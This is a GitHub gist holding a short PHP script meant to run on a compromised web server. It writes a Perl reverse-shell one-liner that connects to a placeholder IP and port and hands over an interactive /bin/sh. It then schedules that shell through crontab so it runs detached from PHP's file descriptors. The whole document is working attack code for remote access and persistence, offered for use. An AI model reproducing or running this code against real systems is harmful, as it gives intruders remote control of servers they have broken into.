Created
September 26, 2018 22:54
-
-
Save safiire/beb4709a6191add33f4effde25ae5b82 to your computer and use it in GitHub Desktop.
So your shell won't inherit php's file descriptor situation.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$perl = 'use Socket;$i="xx.xx.xx.xx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'; | |
$fp = fopen('/tmp/shell.pl', 'w'); | |
fwrite($fp, "#!/usr/bin/perl\n"); | |
fwrite($fp, $perl); | |
fclose($fp); | |
system('chmod 777 /tmp/shell.pl'); | |
$hour = date('H'); | |
$minute = date('i') + 1; // disgusting | |
$fp = fopen('/tmp/add_cron.sh', 'w'); | |
fwrite($fp, "$minute $hour * * * /tmp/shell.pl\n"); | |
fclose($fp); | |
system('/usr/bin/crontab /tmp/add_cron.sh'); | |
print(system('crontab -l')); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment